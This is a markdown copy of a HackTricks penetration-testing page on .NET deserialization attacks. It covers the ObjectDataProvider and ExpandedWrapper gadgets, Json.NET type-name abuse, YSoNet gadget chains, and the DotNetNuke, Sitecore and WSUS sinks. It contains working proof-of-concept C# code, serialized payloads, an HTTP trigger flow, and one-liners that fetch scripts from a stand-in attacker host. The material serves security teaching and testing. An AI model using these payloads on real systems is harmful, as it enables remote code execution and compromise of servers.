basic-net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json-net.md (22773B)
1 --- 2 title: "Basic .NET Deserialization (ObjectDataProvider, ExpandedWrapper, and Json.NET)" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Basic .NET Deserialization (ObjectDataProvider, ExpandedWrapper, and Json.NET) 14 15 This page explains **how the `ObjectDataProvider` gadget can be exploited** to obtain RCE and **how `Json.NET` and `XmlSerializer` can be abused** with that gadget. 16 17 ## ObjectDataProvider Gadget 18 19 The documentation describes `ObjectDataProvider` as a wrapper that creates an object suitable for use as a binding source.<sup>[[11]](#references)</sup> Its security-relevant behavior is that it can **wrap an arbitrary object**, use _**MethodParameters**_ to **set parameters**, and use **MethodName** to invoke a method on that object. If a serializer reconstructs these properties, setting them can cause the wrapped **object** to **execute a method with attacker-controlled parameters during deserialization**. 20 21 ### **How is this possible** 22 23 The **System.Windows.Data** namespace, found within the **PresentationFramework.dll** at `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is where the ObjectDataProvider is defined and implemented. 24 25 Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** 26 27  28 29 When `MethodName` is set, `base.Refresh()` is called. The following image shows that path: 30 31  32 33 Next, `this.BeginQuery()` runs. `ObjectDataProvider` overrides `BeginQuery` as shown below: 34 35  36 37 At the end of the code, it calls `this.QueryWorker(null)`. The next image shows the relevant execution path: 38 39  40 41 This is not the complete `QueryWorker` function, but it shows the important part: **`this.InvokeMethodOnInstance(out ex);`**, where the configured method is invoked. 42 43 The following code demonstrates that setting _**MethodName**_ triggers execution: 44 45 <details> 46 <summary>C# demo: ObjectDataProvider triggers Process.Start</summary> 47 48 ```csharp 49 using System.Windows.Data; 50 using System.Diagnostics; 51 52 namespace ODPCustomSerialExample 53 { 54 class Program 55 { 56 static void Main(string[] args) 57 { 58 ObjectDataProvider myODP = new ObjectDataProvider(); 59 myODP.ObjectType = typeof(Process); 60 myODP.MethodParameters.Add("cmd.exe"); 61 myODP.MethodParameters.Add("/c calc.exe"); 62 myODP.MethodName = "Start"; 63 } 64 } 65 } 66 ``` 67 68 </details> 69 70 Add _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ as a project reference to load `System.Windows.Data`. 71 72 ## ExpandedWrapper 73 74 In some vulnerable paths, the **object** is deserialized as an _**ObjectDataProvider**_ instance. In the historical DotNetNuke case, for example, `XmlSerializer` deserialized an attacker-selected type resolved with `GetType`. The serializer otherwise has **no knowledge of the type wrapped** by the _ObjectDataProvider_ instance, such as `Process`.<sup>[[9]](#references)</sup><sup>[[10]](#references)</sup> 75 76 `ExpandedWrapper` lets code **specify the types of objects encapsulated** in an instance.<sup>[[12]](#references)</sup> It can therefore encapsulate a source object (`ObjectDataProvider`) in a new object type while exposing the required properties (`ObjectDataProvider.MethodName` and `ObjectDataProvider.MethodParameters`). In the scenario above, an **`ExpandedWrapper` containing `ObjectDataProvider`** causes deserialization to construct the `ObjectDataProvider` and execute the method indicated by _**MethodName**_. 77 78 You can check this wrapper with the following code: 79 80 <details> 81 <summary>C# demo: ExpandedWrapper encapsulating ObjectDataProvider</summary> 82 83 ```csharp 84 using System.Windows.Data; 85 using System.Diagnostics; 86 using System.Data.Services.Internal; 87 88 namespace ODPCustomSerialExample 89 { 90 class Program 91 { 92 static void Main(string[] args) 93 { 94 ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>(); 95 myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); 96 myExpWrap.ProjectedProperty0.ObjectInstance = new Process(); 97 myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe"); 98 myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe"); 99 myExpWrap.ProjectedProperty0.MethodName = "Start"; 100 } 101 } 102 } 103 ``` 104 105 </details> 106 107 ### XmlSerializer + ExpandedWrapper in real targets 108 109 A very common vulnerable pattern is something like: 110 111 ```csharp 112 Type t = Type.GetType(attackerControlledType); 113 XmlSerializer xs = new XmlSerializer(t); 114 object obj = xs.Deserialize(reader); 115 ``` 116 117 If the attacker controls both the **type name** and the **XML body**, `ExpandedWrapper<..., ObjectDataProvider>` can make `XmlSerializer` materialise an `ObjectDataProvider` in `ProjectedProperty0`. This is why **ExpandedWrapper** keeps showing up in real-world .NET deserialization bugs: the vulnerable code does **not** need to deserialize `Process` or `ObjectDataProvider` directly, it only needs to let the attacker pick a root type that `XmlSerializer` can instantiate. 118 119 A practical example is the historical **DotNetNuke `DNNPersonalization`** cookie bug, where attacker-controlled XML was deserialized after resolving the type with `Type.GetType(...)`.<sup>[[9]](#references)</sup> A minimal payload shape looks like: 120 121 ```xml 122 <profile> 123 <item key="name1:key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> 124 <ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> 125 <ExpandedElement/> 126 <ProjectedProperty0> 127 <MethodName>WriteFile</MethodName> 128 <MethodParameters><anyType xsi:type="xsd:string">C:/windows/win.ini</anyType></MethodParameters> 129 <ObjectInstance xsi:type="FileSystemUtils"/> 130 </ProjectedProperty0> 131 </ExpandedWrapperOfFileSystemUtilsObjectDataProvider> 132 </item> 133 </profile> 134 ``` 135 136 This is the same primitive described in the first half of this page: `XmlSerializer` reconstructs the `ExpandedWrapper`, that wrapper reconstructs `ObjectDataProvider`, and setting `MethodName` / `MethodParameters` gives the attacker a controllable method invocation. 137 138 ## Json.Net 139 140 Json.NET can serialize and deserialize .NET objects.<sup>[[13]](#references)</sup> If a vulnerable configuration accepts attacker-controlled type metadata and materializes the `ObjectDataProvider` gadget, deserialization can therefore lead to **RCE**. 141 142 ### Json.Net example 143 144 The following example shows how to **serialize and deserialize** an object with this library: 145 146 <details> 147 <summary>C# demo: Json.NET serialize/deserialize</summary> 148 149 ```csharp 150 using System; 151 using Newtonsoft.Json; 152 using System.Diagnostics; 153 using System.Collections.Generic; 154 155 namespace DeserializationTests 156 { 157 public class Account 158 { 159 public string Email { get; set; } 160 public bool Active { get; set; } 161 public DateTime CreatedDate { get; set; } 162 public IList<string> Roles { get; set; } 163 } 164 class Program 165 { 166 static void Main(string[] args) 167 { 168 Account account = new Account 169 { 170 Email = "james@example.com", 171 Active = true, 172 CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), 173 Roles = new List<string> 174 { 175 "User", 176 "Admin" 177 } 178 }; 179 //Serialize the object and print it 180 string json = JsonConvert.SerializeObject(account); 181 Console.WriteLine(json); 182 //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]} 183 184 //Deserialize it 185 Account desaccount = JsonConvert.DeserializeObject<Account>(json); 186 Console.WriteLine(desaccount.Email); 187 } 188 } 189 } 190 ``` 191 192 </details> 193 194 ### Abusing Json.Net 195 196 Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I created the exploit:<sup>[[2]](#references)</sup> 197 198 ```text 199 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" 200 { 201 '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 202 'MethodName':'Start', 203 'MethodParameters':{ 204 '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 205 '$values':['cmd', '/c calc.exe'] 206 }, 207 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} 208 } 209 ``` 210 211 The following code can be used to **test the exploit**; successful execution launches Calculator: 212 213 <details> 214 <summary>C# demo: Json.NET ObjectDataProvider exploitation PoC</summary> 215 216 ```csharp 217 using System; 218 using System.Text; 219 using Newtonsoft.Json; 220 221 namespace DeserializationTests 222 { 223 class Program 224 { 225 static void Main(string[] args) 226 { 227 //Declare exploit 228 string userdata = @"{ 229 '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 230 'MethodName':'Start', 231 'MethodParameters':{ 232 '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 233 '$values':['cmd', '/c calc.exe'] 234 }, 235 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} 236 }"; 237 //Exploit to base64 238 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata)); 239 240 //Get data from base64 241 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); 242 //Deserialize data 243 string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); 244 object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings 245 { 246 TypeNameHandling = TypeNameHandling.Auto 247 }); 248 } 249 } 250 } 251 ``` 252 253 </details> 254 255 ### Json.NET exploitation prerequisites 256 257 Before assuming that `$type` is enough for RCE, quickly verify these conditions:<sup>[[8]](#references)</sup> 258 259 - The application must deserialize **attacker-controlled JSON** with `TypeNameHandling` different from `None` (`Auto`, `Objects`, or `All` are the usual dangerous values). 260 - If the target uses a restrictive `SerializationBinder` / `ISerializationBinder`, arbitrary gadget resolution may be blocked even when `TypeNameHandling` is enabled. 261 - `ObjectDataProvider` is a **WPF gadget** from `PresentationFramework.dll`, so it is much more common in **Windows / .NET Framework / desktop-enabled** targets than in minimal ASP.NET Core deployments. 262 - If the sink deserializes into a fixed DTO and never honours attacker-controlled type metadata, switch to another gadget or another formatter instead of forcing `ObjectDataProvider`. 263 264 ## Advanced .NET Gadget Chains (YSoNet & ysoserial.net) 265 266 The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs **unsafe .NET deserialization**. Modern red-team tooling such as **[YSoNet](https://github.com/irsdl/ysonet)** (and the older [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automate the creation of **ready-to-use malicious object graphs** for dozens of gadgets and serialization formats.<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup><sup>[[3]](#references)</sup> 267 268 Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads. 269 270 | Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner | 271 |--------------|----------------------|--------------------|------------------| 272 | **TypeConfuseDelegate** | Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | 273 | **ActivitySurrogateSelector** | Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | 274 | **DataSetOldBehaviour** | Leverages the **legacy XML** representation of `System.Data.DataSet` to instantiate arbitrary types by filling the `<ColumnMapping>` / `<DataType>` fields (optionally faking the assembly with `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` | 275 | **GetterCompilerResults** | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching `System.CodeDom.Compiler.CompilerResults`, then *loads* a DLL supplied with `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c "C:\Temp\loader.dll" > payload.json` | 276 | **BaseActivationFactory** | Newer Json.NET chain for **.NET 5/6/7 with WPF enabled** that reaches `WinRT.BaseActivationFactory` and causes local/UNC native DLL loading | `Json.NET` | `ysonet.exe -g BaseActivationFactory -f Json.NET -c "C:\Temp\poc.dll" > payload.json` | 277 | **ObjectDataProvider** (review) | Uses WPF `System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments. YSoNet adds a convenient `--xamlurl` variant to host the malicious XAML remotely | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | 278 | **PSObject (CVE-2017-8565)** | Embeds `ScriptBlock` into `System.Management.Automation.PSObject` that executes when PowerShell deserialises the object | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | 279 280 > [!TIP] 281 > All payloads are **written to *stdout*** by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients). 282 283 For this specific page, the important takeaway is that **YSoNet's `ObjectDataProvider` generator is not limited to Json.NET**. It currently supports several other interesting sinks, including **`XmlSerializer (2)`**, **`JavaScriptSerializer`**, **`Xaml (4)`**, and **`DataContractSerializer (2)`**, so the same gadget is reusable even when `$type` injection is not happening through JSON.<sup>[[1]](#references)</sup> 284 285 ### Building / Installing YSoNet 286 287 If no pre-compiled binaries are available under *Actions ➜ Artifacts* / *Releases*, the following **PowerShell** one-liner will set up a build environment, clone the repository and compile everything in *Release* mode: 288 289 ```powershell 290 Set-ExecutionPolicy Bypass -Scope Process -Force; 291 [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; 292 iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')); 293 choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes; 294 295 git clone https://github.com/irsdl/ysonet 296 cd ysonet 297 nuget restore ysonet.sln 298 msbuild ysonet.sln -p:Configuration=Release 299 ``` 300 301 The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`. 302 303 ## Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter 304 305 A practical .NET sink reachable in authenticated Sitecore XP Content Editor flows:<sup>[[4]](#references)</sup> 306 307 - Sink API: `Sitecore.Convert.Base64ToObject(string)` wraps `new BinaryFormatter().Deserialize(...)`. 308 - Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, which searches for a sibling element with `id="{iframeId}_inner"` and reads a `value` attribute that is treated as base64‐encoded serialized data. The result is cast to string and inserted into the HTML. 309 310 <details> 311 <summary>Authenticated Sitecore sink trigger HTTP flow</summary> 312 313 ```text 314 // Load HTML into EditHtml session 315 POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx 316 Content-Type: application/x-www-form-urlencoded 317 318 __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html= 319 <html> 320 <iframe id="test" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/poc"></iframe> 321 <dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy> 322 </html> 323 324 // Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization 325 GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=... 326 ``` 327 328 </details> 329 330 - Gadget: any BinaryFormatter chain returning a string (side‑effects run during deserialization). See YSoNet/ysoserial.net to generate payloads. 331 332 For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink: 333 334 [Readme](/hacktricks/network-services-pentesting/pentesting-web/sitecore/overview) 335 336 ## Case study: WSUS unsafe .NET deserialization (CVE-2025-59287) 337 338 - Product/role: Windows Server Update Services (WSUS) role on Windows Server 2012 → 2025. 339 - Attack surface: IIS-hosted WSUS endpoints over HTTP/HTTPS on TCP 8530/8531 (often exposed internally; Internet exposure is high risk). 340 - Root cause: Unauthenticated deserialization of attacker-controlled data using legacy formatters: 341 - `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`. 342 - `ReportingWebService` performs unsafe deserialization via `SoapFormatter`. 343 - Impact: A crafted serialized object triggers a gadget chain during deserialization, leading to arbitrary code execution as `NT AUTHORITY\SYSTEM` under either the WSUS service (`wsusservice.exe`) or the IIS app pool `wsuspool` (`w3wp.exe`).<sup>[[5]](#references)</sup><sup>[[6]](#references)</sup><sup>[[7]](#references)</sup> 344 345 Practical exploitation notes 346 - Discovery: Scan for WSUS on TCP 8530/8531. Treat any pre-auth serialized blob reaching WSUS web methods as a potential sink for `BinaryFormatter`/`SoapFormatter` payloads. 347 - Payloads: Use YSoNet/ysoserial.net to generate `BinaryFormatter` or `SoapFormatter` chains (e.g., `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`). 348 - Expected process lineage on success: 349 - `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe` 350 - `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe` 351 352 ## References 353 354 - [1] [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet) 355 - [2] [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net) 356 - [3] [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) 357 - [4] [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) 358 - [5] [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/) 359 - [6] [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287) 360 - [7] [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287) 361 - [8] [Json.NET – Serialization Settings (`TypeNameHandling` and `SerializationBinder` warning)](https://www.newtonsoft.com/json/help/html/serializationsettings.htm) 362 - [9] [nefariousplan – CVE-2017-9822: The Patch Encrypted the Cookie. The Deserializer Is Still Public.](https://nefariousplan.com/posts/dotnetnuke-cve-2017-9822-deserializer-still-public) 363 - [10] [Seebug Paper – DotNetNuke Cookie Deserialization Vulnerability (archived)](https://web.archive.org/web/20230930203151id_/https://paper.seebug.org/365/) 364 - [11] [Microsoft Learn – ObjectDataProvider Class](https://learn.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider) 365 - [12] [Microsoft Learn – ExpandedWrapper<TExpandedElement,TProperty0> Class](https://learn.microsoft.com/en-us/dotnet/api/system.data.services.internal.expandedwrapper-2) 366 - [13] [Json.NET – JSON Framework for .NET](https://www.newtonsoft.com/json)